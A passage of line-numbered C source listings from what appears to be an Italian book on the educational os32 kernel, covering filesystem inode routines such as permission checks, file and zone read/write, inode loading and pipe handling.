670166        // Return the inode pointer.
670167        //
670168        return (inode);
670169    }
```

119.5.9 kernel/fs/inode_check.c

Si veda la sezione 118.5.8.

```
680001    #include <kernel/fs.h>
680002    #include <errno.h>
680003    #include <kernel/lib_k.h>
680004    //----------------------------------------------------------------------
680005    int
680006    inode_check (inode_t *inode, mode_t type, int perm,
680007                 uid_t uid, gid_t gid)
680008    {
680009        //
680010        // Ensure that the variable 'type' has only the requested file type.
680011        //
680012        type = (type & S_IFMT);
680013        //
680014        // Check inode argument.
680015        //
680016        if (inode == NULL)
680017          {
680018            errset (EINVAL);         // Invalid argument.
680019            return (-1);
680020          }
680021        //
680022        // The inode is not NULL: verify that the inode is of a type
680023        // allowed (the parameter 'type' can hold more than one
680024        // possibility).
680025        //
680026        if (!(inode->mode & type))
680027          {
680028            errset (E_FILE_TYPE);    // The file type is not
680029            return (-1);             // the expected one.
680030          }
680031        //
680032        // The file type is correct.
680033        //
680034        if (inode->uid != 0 && uid == 0)
680035          {
680036            return (0);              // The root user has all permissions.
680037          }
680038        //
680039        // The user is not root or the inode is owned by root.
```

```
680040      //
680041      if (inode->uid == uid)
680042        {
680043          //
680044          // The user own the inode and must check user permissions.
680045          //
680046          perm = (perm << 6);
680047          if ((inode->mode & perm) ^ perm)
680048            {
680049              errset (EACCES);            // Permission denied.
680050              return (-1);
680051            }
680052          else
680053            {
680054              return (0);
680055            }
680056        }
680057      //
680058      // The user does not own the inode: the group permissions are
680059      // checked.
680060      //
680061      if (inode->gid == gid)
680062        {
680063          //
680064          // The group own the inode and must check user permissions.
680065          //
680066          perm = (perm << 3);
680067          if ((inode->mode & perm) ^ perm)
680068            {
680069              errset (EACCES);            // Permission denied.
680070              return (-1);
680071            }
680072          else
680073            {
680074              return (0);
680075            }
680076        }
680077      //
680078      // The user and the group do not own the inode: the other
680079      // permissions are checked.
680080      //
680081      if ((inode->mode & perm) ^ perm)
680082        {
680083          errset (EACCES);                // Permission denied.
680084          return (-1);
680085        }
680086      else
680087        {
680088          return (0);
680089        }
680090  }
```

119.5.10 kernel/fs/inode_dir_empty.c

Si veda la sezione 118.5.9.

```
690001 #include <kernel/fs.h>
690002 #include <errno.h>
690003 #include <kernel/lib_k.h>
690004 //----------------------------------------------------------------------
690005 int
690006 inode_dir_empty (inode_t *inode)
690007 {
690008     off_t         start;
690009     char          buffer[SB_MAX_ZONE_SIZE];
690010     directory_t *dir;
690011     ssize_t       size_read;
690012     int           d;                      // Directory buffer index.
690013     //
690014     // Check argument: must be a directory.
690015     //
690016     if (inode == NULL || !S_ISDIR (inode->mode))
690017       {
690018         errset (EINVAL);                  // Invalid argument.
690019         return (0);                       // false
690020       }
690021     //
690022     // Read the directory content: if an item is present (except `.' and
690023     // `..'), the directory is not empty.
690024     //
690025     for (start  = 0;
690026          start <  inode->size;
690027          start += inode->sb->blksize)
690028       {
690029         size_read = inode_file_read (inode, start, buffer,
690030                                      inode->sb->blksize,
690031                                      NULL);
690032         if (size_read < sizeof (directory_t))
690033           {
690034             break;
690035           }
690036         //
690037         // Scan the directory portion just read.
690038         //
690039         dir = (directory_t *) buffer;
690040         //
690041         for (d = 0; d < size_read; d += (sizeof (directory_t)), dir++)
690042           {
690043             if (dir->ino != 0                              &&
690044                 strncmp (dir->name, ".", NAME_MAX) != 0    &&
690045                 strncmp (dir->name, "..", NAME_MAX) != 0)
690046               {
690047                 //
690048                 // There is an item and the directory is not empty.
690049                 //
```

```
690050                  return (0);      // false
690051                }
690052            }
690053        }
690054    //
690055    // Nothing was found; good!
690056    //
690057    return (1);          // true
690058 }
```

119.5.11 kernel/fs/inode_file_read.c

Si veda la sezione 118.5.10.

```
700001 #include <kernel/fs.h>
700002 #include <errno.h>
700003 #include <kernel/lib_k.h>
700004 //----------------------------------------------------------------------
700005 ssize_t
700006 inode_file_read (inode_t *inode, off_t offset,
700007                  void *buffer, size_t count, int *eof)
700008 {
700009     unsigned char *destination = (unsigned char *) buffer;
700010     unsigned char  zone_buffer[SB_MAX_ZONE_SIZE];
700011     blkcnt_t       blkcnt_read;
700012     off_t          off_fzone;   // File zone offset.
700013     off_t          off_buffer;  // Destination buffer offset.
700014     ssize_t        size_read;   // Byte transfer counter.
700015     zno_t          fzone;
700016     off_t          off_end;
700017     //
700018     // The inode pointer must be valid, and
700019     // the start byte must be positive.
700020     //
700021     if (inode == NULL || offset < 0)
700022       {
700023         errset (EINVAL);        // Invalid argument.
700024         return ((ssize_t) -1);
700025       }
700026     //
700027     // Check if the start address is inside the file size. This is not
700028     // an error, but zero bytes are read and `*eof' is set. Otherwise,
700029     // `*eof' is reset.
700030     //
700031     if (offset >= inode->size)
700032       {
700033         (eof != NULL)? *eof = 1: 0;
700034         return (0);
700035       }
700036     else
700037       {
```

```
700038             (eof != NULL)? *eof = 0: 0;
700039           }
700040         //
700041         // Adjust, if necessary, the size of read, because it cannot be
700042         // larger than the actual file size. The variable 'off_end' is
700043         // used to calculate the position *after* the requested read.
700044         // Remember that the first file position is byte zero; so,
700045         // the byte index inside the file goes from zero to inode->size -1.
700046         //
700047         off_end  = offset;
700048         off_end += count;
700049         if (off_end > inode->size)
700050           {
700051             count = (inode->size - offset);
700052           }
700053         //
700054         // Read the first file-zone inside the zone buffer.
700055         //
700056         fzone       = offset / inode->sb->blksize;
700057         off_fzone   = offset % inode->sb->blksize;
700058         blkcnt_read = inode_fzones_read (inode, fzone, zone_buffer,
700059                                          (blkcnt_t) 1);
700060         if (blkcnt_read <= 0)
700061           {
700062             //
700063             // Sorry!
700064             //
700065 
700066             k_printf ("inode_fzones_read (inode, fzone %i,... )\n", fzone);
700067 
700068             errset (EUNKNOWN);
700069             return (0);                 // Zero bytes read!
700070           }
700071         //
700072         // The first file-zone was read: copy it inside the destination
700073         // buffer and continue reading the other zones needed. Variables
700074         // 'off_buffer' (destination buffer index) and 'size_read' (copy
700075         // byte counter) must be reset here. Variable 'off_fzone' is already
700076         // set with the initial offset inside 'zone_buffer'.
700077         //
700078         off_buffer = 0;
700079         size_read  = 0;
700080         //
700081         while (count)
700082           {
700083             //
700084             // Copy the zone buffer into the destination. Variables
700085             // 'off_fzone', 'off_buffer' and 'size_read' must not be
700086             // initialized inside the loop.
700087             //
700088             for (; off_fzone < inode->sb->blksize && count > 0;
700089                  off_fzone++, off_buffer++, size_read++,
```

```
700090                count--, offset++)
700091              {
700092                destination[off_buffer] = zone_buffer[off_fzone];
700093              }
700094            //
700095            // If not all the bytes are copied, read the next file-zone.
700096            //
700097            if (count)
700098              {
700099                //
700100                // Read another file-zone inside the zone buffer.
700101                // Again, the function 'inode_fzones_read()' might
700102                // return a null pointer, but the variable 'errno' tells if
700103                // it is really an error. For this reason, the variable
700104                // 'errno' must be reset before the read, and checked after
700105                // it.
700106                //
700107                fzone       = offset / inode->sb->blksize;
700108                off_fzone   = offset % inode->sb->blksize;
700109                blkcnt_read = inode_fzones_read (inode, fzone, zone_buffer,
700110                                                 (blkcnt_t) 1);
700111                if (blkcnt_read <= 0)
700112                  {
700113                    //
700114                    // Sorry: only 'size_read' bytes read!
700115                    //
700116                    errset (EUNKNOWN);
700117                    return (size_read);
700118                  }
700119              }
700120          }
700121        //
700122        // The requested size was read completely.
700123        //
700124        return (size_read);
700125    }
```

119.5.12 kernel/fs/inode_file_write.c

Si veda la sezione 118.5.11.

```
710001    #include <kernel/fs.h>
710002    #include <errno.h>
710003    #include <kernel/lib_k.h>
710004    //----------------------------------------------------------------------
710005    ssize_t
710006    inode_file_write (inode_t *inode, off_t offset, void *buffer,
710007                      size_t count)
710008    {
710009        unsigned char *buffer_source = (unsigned char *) buffer;
710010        unsigned char  buffer_zone[SB_MAX_ZONE_SIZE];
```

```
710011      off_t          off_fzone;    // File zone offset.
710012      off_t          off_source;   // Source buffer offset.
710013      ssize_t        size_copied;  // Byte transfer counter.
710014      ssize_t        size_written; // Byte written counter.
710015      zno_t          fzone;
710016      zno_t          zone;
710017      blkcnt_t       blkcnt_read;
710018      int            status;
710019      //
710020      // The inode pointer must be valid, and
710021      // the start byte must be positive.
710022      //
710023      if (inode == NULL || offset < 0)
710024        {
710025          errset (EINVAL);        // Invalid argument.
710026          return ((ssize_t) -1);
710027        }
710028      //
710029      // Read a zone, modify it with the source buffer, then write it back
710030      // and continue reading and writing other zones if needed.
710031      //
710032      for (size_written = 0, off_source = 0, size_copied = 0;
710033           count > 0; size_written += size_copied)
710034        {
710035          //
710036          // Read the next file-zone inside the zone buffer: the function
710037          // `inode_zone()' is used to create automatically the zone, if
710038          // it does not exist.
710039          //
710040          fzone     = offset / inode->sb->blksize;
710041          off_fzone = offset % inode->sb->blksize;
710042          zone      = inode_zone (inode, fzone, 1);
710043          if (zone == 0)
710044            {
710045              //
710046              // Return previously written bytes. The variable `errno' is
710047              // already set by `inode_zone()'.
710048              //
710049              return (size_written);
710050            }
710051          blkcnt_read = inode_fzones_read (inode, fzone, buffer_zone,
710052                                           (blkcnt_t) 1);
710053          if (blkcnt_read <= 0)
710054            {
710055              //
710056              // Even if the value is zero, there is a problem reading the
710057              // zone to be overwritten (because `inode_zone()' should
710058              // have already created such zone). The variable `errno' is
710059              // already set by `inode_fzones_read()'.
710060              //
710061              return ((ssize_t) -1);
710062            }
```

```
710063             //
710064             // The zone was successfully loaded inside the buffer: overwrite
710065             // the zone buffer with the source buffer.
710066             //
710067             for (size_copied = 0;
710068                  off_fzone < inode->sb->blksize && count > 0;
710069                  off_fzone++, off_source++, size_copied++, count--,
710070                  offset++)
710071               {
710072                 buffer_zone[off_fzone] = buffer_source[off_source];
710073               }
710074             //
710075             // Save the zone.
710076             //
710077             status = zone_write (inode->sb, zone, buffer_zone);
710078             if (status != 0)
710079               {
710080                 //
710081                 // Cannot save the zone: return the size already written.
710082                 // The variable 'errno' is already set by 'zone_write()'.
710083                 //
710084                 return (size_written);
710085               }
710086             //
710087             // Zone saved: update the file size if necessary (and the inode
710088             // too).
710089             //
710090             if (inode->size <= offset)
710091               {
710092                 inode->size    = offset;
710093                 inode->changed = 1;
710094                 inode_save (inode);
710095               }
710096           }
710097         //
710098         // All done successfully: return the value.
710099         //
710100         return (size_written);
710101 }
```

119.5.13 kernel/fs/inode_free.c

Si veda la sezione 118.5.12.

```
720001 #include <kernel/fs.h>
720002 #include <errno.h>
720003 #include <kernel/lib_k.h>
720004 //----------------------------------------------------------------------
720005 int
720006 inode_free (inode_t *inode)
720007 {
```

```
720008     int      map_element;
720009     int      map_bit;
720010     int      map_mask;
720011     //
720012     if (inode == NULL)
720013       {
720014         errset (EINVAL);         // Invalid argument.
720015         return (-1);
720016       }
720017     //
720018     map_element = inode->ino / 16;
720019     map_bit     = inode->ino % 16;
720020     map_mask    = 1 << map_bit;
720021     //
720022     if (inode->sb->map_inode[map_element] & map_mask)
720023       {
720024         inode->sb->map_inode[map_element] -= map_mask;
720025         inode->sb->changed = 1;
720026       }
720027     //
720028     inode->mode       = 0;
720029     inode->uid        = 0;
720030     inode->gid        = 0;
720031     inode->size       = 0;
720032     inode->time       = 0;
720033     inode->links      = 0;
720034     inode->changed    = 1;
720035     inode->references = 0;
720036     //
720037     return (inode_save (inode));
720038 }
```

119.5.14 kernel/fs/inode_fzones_read.c

Si veda la sezione 118.5.13.

```
730001 #include <kernel/fs.h>
730002 #include <errno.h>
730003 #include <kernel/lib_k.h>
730004 //----------------------------------------------------------------------
730005 blkcnt_t
730006 inode_fzones_read (inode_t *inode, zno_t zone_start,
730007                    void *buffer, blkcnt_t blkcnt)
730008 {
730009     unsigned char *destination = (unsigned char *) buffer;
730010     int            status;        // 'zone_read()' return value.
730011     blkcnt_t       blkcnt_read;   // Zone counter/index.
730012     zno_t          zone;
730013     zno_t          fzone;
730014     //
730015     // Read the zones into the destination buffer.
```

```
730016     //
730017     for (blkcnt_read = 0, fzone = zone_start;
730018          blkcnt_read < blkcnt;
730019          blkcnt_read++, fzone++)
730020       {
730021         //
730022         // Calculate the zone number, from the file-zone, reading the
730023         // inode. If a zone is not really allocated, the result is zero
730024         // and is valid.
730025         //
730026         zone = inode_zone (inode, fzone, 0);
730027         if (zone == ((zno_t) -1))
730028           {
730029             //
730030             // This is an error. Return the read zones quantity.
730031             //
730032             errset (EUNKNOWN);
730033             return (blkcnt_read);
730034           }
730035         //
730036         // Update the destination buffer pointer.
730037         //
730038         destination += (blkcnt_read * inode->sb->blksize);
730039         //
730040         // Read the zone inside the destination buffer, but if the zone
730041         // is zero, a zeroed zone must be filled.
730042         //
730043         if (zone == 0)
730044           {
730045             memset (destination, 0, (size_t) inode->sb->blksize);
730046           }
730047         else
730048           {
730049             status = zone_read (inode->sb, zone, destination);
730050             if (status != 0)
730051               {
730052                 //
730053                 // Could not read the requested zone: return the zones
730054                 // read correctly.
730055                 //
730056                 errset (EIO);              // I/O error.
730057                 return (blkcnt_read);
730058               }
730059           }
730060       }
730061     //
730062     // All zones read correctly inside the buffer.
730063     //
730064     return (blkcnt_read);
730065 }
```

119.5.15 kernel/fs/inode_fzones_write.c

Si veda la sezione 118.5.13.

```
740001 #include <kernel/fs.h>
740002 #include <errno.h>
740003 #include <kernel/lib_k.h>
740004 //----------------------------------------------------------------------
740005 blkcnt_t
740006 inode_fzones_write (inode_t *inode, zno_t zone_start, void *buffer,
740007                     blkcnt_t blkcnt)
740008 {
740009     unsigned char *source = (unsigned char *) buffer;
740010     int            status;              // 'zone_read()' return value.
740011     blkcnt_t       blkcnt_written;      // Written zones counter.
740012     zno_t          zone;
740013     zno_t          fzone;
740014     //
740015     // Write the zones into the destination buffer.
740016     //
740017     for (blkcnt_written = 0, fzone = zone_start;
740018          blkcnt_written < blkcnt;
740019          blkcnt_written++, fzone++)
740020       {
740021         //
740022         // Find real zone from file-zone.
740023         //
740024         zone = inode_zone (inode, fzone, 1);
740025         if (zone == 0 || zone == ((zno_t) -1))
740026           {
740027             //
740028             // Function 'inode_zone()' should allocate automatically
740029             // a missing zone and should return a valid zone or
740030             // (zno_t) -1. Anyway, even if a zero zone is returned,
740031             // it is an error. Return the 'blkcnt_written' value.
740032             //
740033             return (blkcnt_written);
740034           }
740035         //
740036         // Update the source buffer pointer for the next zone write.
740037         //
740038         source += (blkcnt_written * inode->sb->blksize);
740039         //
740040         // Write the zone from the buffer content.
740041         //
740042         status  = zone_write (inode->sb, zone, source);
740043         if (status != 0)
740044           {
740045             //
740046             // Cannot write the zone. Return 'size_written_zone' value.
740047             //
740048             return (blkcnt_written);
740049           }
```

```
740050           }
740051         //
740052         // All zones read correctly inside the buffer.
740053         //
740054         return (blkcnt_written);
740055     }
```

119.5.16 kernel/fs/inode_get.c

Si veda la sezione 118.5.15.

```
750001 #include <kernel/fs.h>
750002 #include <errno.h>
750003 #include <kernel/lib_k.h>
750004 #include <kernel/dev.h>
750005 //----------------------------------------------------------------------
750006 inode_t *
750007 inode_get (dev_t device, ino_t ino)
750008 {
750009     sb_t             *sb;
750010     inode_t          *inode;
750011     unsigned long int start;
750012     size_t            size;
750013     ssize_t           n;
750014     int               status;
750015     //
750016     // Verify if the root file system inode was requested.
750017     //
750018     if (device == 0 && ino == 1)
750019       {
750020         //
750021         // Get root file system inode.
750022         //
750023         inode = inode_reference (device, ino);
750024         if (inode == NULL)
750025           {
750026             //
750027             // The file system root directory inode is not yet loaded:
750028             // get the first super block.
750029             //
750030             sb = sb_reference ((dev_t) 0);
750031             if (sb == NULL || sb->device == 0)
750032               {
750033                 //
750034                 // This error should never happen.
750035                 //
750036                 errset (EUNKNOWN);      // Unknown error.
750037                 return (NULL);
750038               }
750039             //
750040             // Load the file system root directory inode (recursive
```

```
750041                  // call).
750042                  //
750043                  inode = inode_get (sb->device, (ino_t) 1);
750044                  if (inode == NULL)
750045                    {
750046                      //
750047                      // This error should never happen.
750048                      //
750049                      errset (EUNKNOWN);      // Unknown error.
750050                      return (NULL);
750051                    }
750052                  //
750053                  // Return the directory inode.
750054                  //
750055                  return (inode);
750056                }
750057              else
750058                {
750059                  //
750060                  // The file system root directory inode is already
750061                  // available.
750062                  //
750063                  if (inode->references >= INODE_MAX_REFERENCES)
750064                    {
750065                      errset (ENFILE); // Too many files open in system.
750066                      return (NULL);
750067                    }
750068                  else
750069                    {
750070                      inode->references++;
750071                      return (inode);
750072                    }
750073                }
750074            }
750075          //
750076          // A common device-inode pair was requested: try to find an already
750077          // cached inode.
750078          //
750079          inode = inode_reference (device, ino);
750080          if (inode != NULL)
750081            {
750082              if (inode->references >= INODE_MAX_REFERENCES)
750083                {
750084                  errset (ENFILE);    // Too many files open in system.
750085                  return (NULL);
750086                }
750087              else
750088                {
750089                  inode->references++;
750090                  return (inode);
750091                }
750092            }
```

```
750093     //
750094     // The inode is not yet available: get super block.
750095     //
750096     sb = sb_reference (device);
750097     if (sb == NULL)
750098       {
750099         errset (ENODEV);        // No such device.
750100         return (NULL);
750101       }
750102     //
750103     // The super block is available, but the inode is not yet cached.
750104     // Verify if the inode map reports it as allocated.
750105     //
750106     status = sb_inode_status (sb, ino);
750107     if (!status)
750108       {
750109         //
750110         // The inode is not allocated and cannot be loaded.
750111         //
750112         errset (ENOENT);        // No such file or directory.
750113         return (NULL);
750114       }
750115     //
750116     // The inode was not already cached, but is considered as allocated
750117     // inside the inode map. Find a free slot to load the inode inside
750118     // the inode table (in memory).
750119     //
750120     inode = inode_reference ((dev_t) -1, (ino_t) -1);
750121     if (inode == NULL)
750122       {
750123         errset (ENFILE);        // Too many files open in system.
750124         return (NULL);
750125       }
750126     //
750127     // A free inode slot was found. The inode must be loaded.
750128     // Calculate the memory inode size, to be saved inside the file
750129     // system: the administrative inode data, as it is saved inside
750130     // the file system. The 'inode_t' type is bigger than the real
750131     // inode administrative size, because it contains more data, that is
750132     // not saved on disk.
750133     //
750134     size   = offsetof (inode_t, sb);
750135     //
750136     // Calculating start position for read.
750137     //
750138     // [1] Boot block.
750139     // [2] Super block.
750140     // [3] Inode bit map.
750141     // [4] Zone bit map.
750142     // [5] Previous inodes: consider that the inode zero is
750143     //     present in the inode map, but not in the inode
750144     //     table.
```

```
750145      //
750146      start  = 1024;                          // [1]
750147      start += 1024;                          // [2]
750148      start += (sb->map_inode_blocks * 1024);  // [3]
750149      start += (sb->map_zone_blocks * 1024);   // [4]
750150      start += ((ino -1) * size);              // [5]
750151      //
750152      // Read inode from disk.
750153      //
750154      n = dev_io ((pid_t) -1, device, DEV_READ, start, inode, size, NULL);
750155      if (n != size)
750156        {
750157          errset (EIO);                     // I/O error.
750158          return (NULL);
750159        }
750160      //
750161      // The inode was read: add some data to the working copy in memory.
750162      //
750163      inode->sb            = sb;
750164      inode->sb_attached   = NULL;
750165      inode->ino           = ino;
750166      inode->references    = 1;
750167      inode->changed       = 0;
750168      //
750169      inode->blkcnt        = inode->size;
750170      inode->blkcnt       /= sb->blksize;
750171      if (inode->size % sb->blksize)
750172        {
750173          inode->blkcnt++;
750174        }
750175      //
750176      inode->pipe_dir       = 1;   // Pipes must start with write.
750177      inode->pipe_off_read  = 0;
750178      inode->pipe_off_write = 0;
750179      inode->pipe_ref_read  = 0;
750180      inode->pipe_ref_write = 0;
750181      //
750182      // Return the inode pointer.
750183      //
750184      return (inode);
750185  }
```

119.5.17 kernel/fs/inode_pipe_make.c

Si veda la sezione 118.5.16.

```
760001  #include <kernel/fs.h>
760002  #include <sys/stat.h>
760003  #include <errno.h>
760004  #include <kernel/lib_k.h>
760005  #include <kernel/lib_s.h>
```

```
760006 //----------------------------------------------------------------------
760007 inode_t *
760008 inode_pipe_make (void)
760009 {
760010     inode_t     *inode;
760011     //
760012     // Find a free inode.
760013     //
760014     inode = inode_reference ((dev_t) -1, (ino_t) -1);
760015     if (inode == NULL)
760016       {
760017         //
760018         // No free slot available.
760019         //
760020         errset (ENFILE);        // Too many files open in system.
760021         return (NULL);
760022       }
760023     //
760024     // Put data inside the inode. Please note that 'inode->ino' must be
760025     // zero, because it is necessary to recognize it as an internal
760026     // inode with no file system. Otherwise, with a value different than
760027     // zero, 'inode_put()' will try to remove it. [*]
760028     //
760029     inode->mode           = S_IFIFO;
760030     inode->uid            = 0;
760031     inode->gid            = 0;
760032     inode->size           = 0;
760033     inode->time           = 0;
760034     inode->links          = 0;
760035     inode->direct[0]      = 0;
760036     inode->direct[1]      = 0;
760037     inode->direct[2]      = 0;
760038     inode->direct[3]      = 0;
760039     inode->direct[4]      = 0;
760040     inode->direct[5]      = 0;
760041     inode->direct[6]      = 0;
760042     inode->indirect1      = 0;
760043     inode->indirect2      = 0;
760044     inode->sb_attached    = NULL;
760045     inode->sb             = 0;
760046     inode->ino            = 0;   // Must be zero. [*]
760047     inode->blkcnt         = 0;
760048     inode->references     = 1;
760049     inode->changed        = 0;
760050     inode->pipe_dir       = 1;   // Must start with write.
760051     inode->pipe_off_read  = 0;
760052     inode->pipe_off_write = 0;
760053     inode->pipe_ref_read  = 0;
760054     inode->pipe_ref_write = 0;
760055     //
760056     // Add all access permissions.
760057     //
```

```
760058      inode->mode |= (S_IRWXU|S_IRWXG|S_IRWXO);
760059      //
760060      // Return the inode pointer.
760061      //
760062      return (inode);
760063  }
```

119.5.18 kernel/fs/inode_pipe_read.c

Si veda la sezione 118.5.17.

```
770001  #include <kernel/fs.h>
770002  #include <errno.h>
770003  //----------------------------------------------------------------------
770004  ssize_t
770005  inode_pipe_read (inode_t *inode, void *buffer, size_t count, int *eof)
770006  {
770007      unsigned char *buffer_s;
770008      unsigned char *buffer_d = buffer;
770009      int             i;
770010      //
770011      // The inode pointer must be valid.
770012      //
770013      if (inode == NULL)
770014        {
770015          errset (EINVAL);        // Invalid argument.
770016          return ((ssize_t) -1);
770017        }
770018      //
770019      // Check the current pipe direction and see if can be
770020      // read something.
770021      //
770022      if (inode->pipe_dir)
770023        {
770024          //
770025          // Write: if indexes are the same, cannot read anything.
770026          //
770027          if (inode->pipe_off_write == inode->pipe_off_read)
770028            {
770029              //
770030              // Cannot read.
770031              //
770032              if (inode->pipe_ref_write == 0)
770033                {
770034                  if (eof != NULL)
770035                    {
770036                      *eof = 1;
770037                    }
770038                }
770039              return ((ssize_t) 0);
770040            }
```

```
770041          }
770042        else
770043          {
770044            //
770045            // Read: the pipe is waiting for a read.
770046            //
770047            ;
770048          }
770049        //
770050        // Might read something. Set the pointer to the source buffer,
770051        // that is the area used for direct zones, including first
770052        // indirect pointers (total: (7+2)*2 = 18 bytes).
770053        //
770054        buffer_s = (void *) &(inode->direct[0]);
770055        //
770056        i = 0;
770057        //
770058        if (inode->pipe_off_read >= inode->pipe_off_write)
770059          {
770060            for (; i < count; i++)
770061              {
770062                if (inode->pipe_off_read < INODE_PIPE_BUFFER_SIZE)
770063                  {
770064                    buffer_d[i] = buffer_s[inode->pipe_off_read];
770065                    inode->pipe_off_read++;
770066                  }
770067                else
770068                  {
770069                    inode->pipe_off_read = 0;
770070                    break;
770071                  }
770072              }
770073          }
770074        //
770075        if (inode->pipe_off_read < inode->pipe_off_write)
770076          {
770077            for (; i < count; i++)
770078              {
770079                if (inode->pipe_off_read < inode->pipe_off_write)
770080                  {
770081                    buffer_d[i] = buffer_s[inode->pipe_off_read];
770082                    inode->pipe_off_read++;
770083                  }
770084                else
770085                  {
770086                    break;
770087                  }
770088              }
770089          }
770090        //
770091        // At this point, it is time to set the direction to write;
770092        // it doesn't matter if the direction is already set so.
```

```
770093      //
770094      if (inode->pipe_off_read == inode->pipe_off_write)
770095        {
770096          inode->pipe_dir = 1;
770097        }
770098      //
770099      // Ok.
770100      //
770101      return ((ssize_t) i);
770102  }
```

119.5.19 kernel/fs/inode_pipe_write.c

Si veda la sezione 118.5.18.

```
780001  #include <kernel/fs.h>
780002  #include <errno.h>
780003  //----------------------------------------------------------------------
780004  ssize_t
780005  inode_pipe_write (inode_t *inode, void *buffer, size_t count)
780006  {
780007      unsigned char *buffer_s = buffer;
780008      unsigned char *buffer_d;
780009      int             i;
780010      //
780011      // The inode pointer must be valid.
780012      //
780013      if (inode == NULL)
780014        {
780015          errset (EINVAL);        // Invalid argument.
780016          return ((ssize_t) -1);
780017        }
780018      //
780019      // Check the current pipe direction and see if can be
780020      // written something.
780021      //
780022      if (inode->pipe_dir)
780023        {
780024          //
780025          // Write: the pipe is waiting for a write.
780026          //
780027          ;
780028        }
780029      else
780030        {
780031          //
780032          // Read: if indexes are the same, cannot write anything.
780033          //
780034          if (inode->pipe_off_write == inode->pipe_off_read)
780035            {
780036              //
```

```
780037                // Cannot write. More checks will be made by `s_write()'.
780038                //
780039                return ((ssize_t) 0);
780040              }
780041          }
780042        //
780043        // Might write something. Set the pointer to the destination buffer,
780044        // that is the area used for direct zones, including first indirect
780045        // pointers (total: (7+2)*2 = 18 bytes).
780046        //
780047        buffer_d = (void *) &(inode->direct[0]);
780048        //
780049        i = 0;
780050        //
780051        if (inode->pipe_off_write >= inode->pipe_off_read)
780052          {
780053            for (; i < count; i++)
780054              {
780055                if (inode->pipe_off_write < INODE_PIPE_BUFFER_SIZE)
780056                  {
780057                    buffer_d[inode->pipe_off_write] = buffer_s[i];
780058                    inode->pipe_off_write++;
780059                  }
780060                else
780061                  {
780062                    inode->pipe_off_write = 0;
780063                    break;
780064                  }
780065              }
780066          }
780067        //
780068        if (inode->pipe_off_write < inode->pipe_off_read)
780069          {
780070            for (; i < count; i++)
780071              {
780072                if (inode->pipe_off_write < inode->pipe_off_read)
780073                  {
780074                    buffer_d[inode->pipe_off_write] = buffer_s[i];
780075                    inode->pipe_off_write++;
780076                  }
780077                else
780078                  {
780079                    break;
780080                  }
780081              }
780082          }
780083        //
780084        // At this point, it is time to set the direction to read;
780085        // it doesn't matter if the direction is already set so.
780086        //
780087        if (inode->pipe_off_write == inode->pipe_off_read)
780088          {
```

```
780089             inode->pipe_dir = 0;
780090           }
780091         //
780092         // Ok.
780093         //
780094         return ((ssize_t) i);
780095     }
```

119.5.20 kernel/fs/inode_print.c

Si veda la sezione 118.5.19.

```
790001     #include <sys/os32.h>
790002     #include <kernel/fs.h>
790003     #include <kernel/lib_k.h>
790004     #include <time.h>
790005     //----------------------------------------------------------------------
790006     void
790007     inode_print (void)
790008     {
790009         int         i;
790010         dev_t       device_attached = 0;
790011         time_t      time;
790012         struct tm *timeptr;
790013         char        type;
790014         dev_t       device;
790015         //
790016         k_printf (" dev   ino ref c mntd t mode  uid gid size Kib "
790017                   "date       time     lnk dirct[0]\n");
790018         //
790019         for (i = 0; i < INODE_MAX_SLOTS; i++)
790020           {
790021             if (inode_table[i].references <= 0)
790022               {
790023                 continue;
790024               }
790025             //
790026             // Calculate modification time.
790027             //
790028             time = inode_table[i].time;
790029             //
790030             timeptr = gmtime (&time);
790031             //
790032             // Get type from mode.
790033             //
790034             if      (S_ISBLK  (inode_table[i].mode)) type = 'b';
790035             else if (S_ISCHR  (inode_table[i].mode)) type = 'c';
790036             else if (S_ISFIFO (inode_table[i].mode)) type = 'p';
790037             else if (S_ISREG  (inode_table[i].mode)) type = '-';
790038             else if (S_ISDIR  (inode_table[i].mode)) type = 'd';
790039             else if (S_ISLNK  (inode_table[i].mode)) type = 'l';
```

```
790040          else if (S_ISSOCK (inode_table[i].mode)) type = 's';
790041          else                                     type = '?';
790042          //
790043          // Is it a mount point?
790044          //
790045          if (inode_table[i].sb_attached != NULL)
790046            {
790047              device_attached = inode_table[i].sb_attached->device;
790048            }
790049          //
790050          // Is there a super block device?
790051          //
790052          if (inode_table[i].sb == NULL)
790053            {
790054              device = 0;
790055            }
790056          else
790057            {
790058              device = inode_table[i].sb->device;
790059            }
790060          //
790061          // Print data.
790062          //
790063          k_printf ("%04x %5i %3i %c %04x %c %04o %4i %3i %8i "
790064                    "%4i.%02i.%02i %2i:%02i:%02i %3i %08x\n",
790065                    (unsigned int) device,
790066                    (unsigned int) inode_table[i].ino,
790067                    (unsigned int) inode_table[i].references,
790068                    (inode_table[i].changed ? '!' : ' '),
790069                    (unsigned int) device_attached,
790070                    type,
790071                    (unsigned int) inode_table[i].mode,
790072                    (unsigned int) inode_table[i].uid,
790073                    (unsigned int) inode_table[i].gid,
790074                    (unsigned int) (inode_table[i].size / 1024),
790075                    timeptr->tm_year,
790076                    timeptr->tm_mon,
790077                    timeptr->tm_mday,
790078                    timeptr->tm_hour,
790079                    timeptr->tm_min,
790080                    timeptr->tm_sec,
790081                    (unsigned int) inode_table[i].links,
790082                    (unsigned int) inode_table[i].direct[0]);
790083        }
790084  }
```

119.5.21 kernel/fs/inode_put.c

Si veda la sezione 118.5.20.

```
800001 #include <kernel/fs.h>
800002 #include <errno.h>
800003 #include <kernel/lib_k.h>
800004 //----------------------------------------------------------------------
800005 int
800006 inode_put (inode_t *inode)
800007 {
800008     int         status;
800009     //
800010     // Check for valid argument.
800011     //
800012     if (inode == NULL)
800013       {
800014         errset (EINVAL);                // Invalid argument.
800015         return (-1);
800016       }
800017     //
800018     // Check for valid references.
800019     //
800020     if (inode->references <= 0)
800021       {
800022         errset (EUNKNOWN);              // Cannot put an inode with
800023         return (-1);                    // zero or negative references.
800024       }
800025     //
800026     // Debug.
800027     //
800028     if (inode->ino != 0 && inode->sb->device == 0)
800029       {
800030         k_printf ("kernel alert: trying to close inode with device "
800031                   "zero, but a number different than zero!\n");
800032         errset (EUNKNOWN);              // Cannot put an inode with
800033         return (-1);                    // zero or negative references.
800034       }
800035     //
800036     // There is at least one reference: now the references value is
800037     // reduced.
800038     //
800039     inode->references--;
800040     inode->changed = 1;
800041     //
800042     // If 'inode->ino' is zero, it means that the inode was created in
800043     // memory, but there is no file system for it. For example, it might
800044     // be a standard I/O inode create automatically for a process.
800045     // Inodes with number zero cannot be removed from a file system.
800046     //
800047     if (inode->ino == 0)
800048       {
800049         //
```

```
800050          // Nothing to do: just return.
800051          //
800052          return (0);
800053        }
800054      //
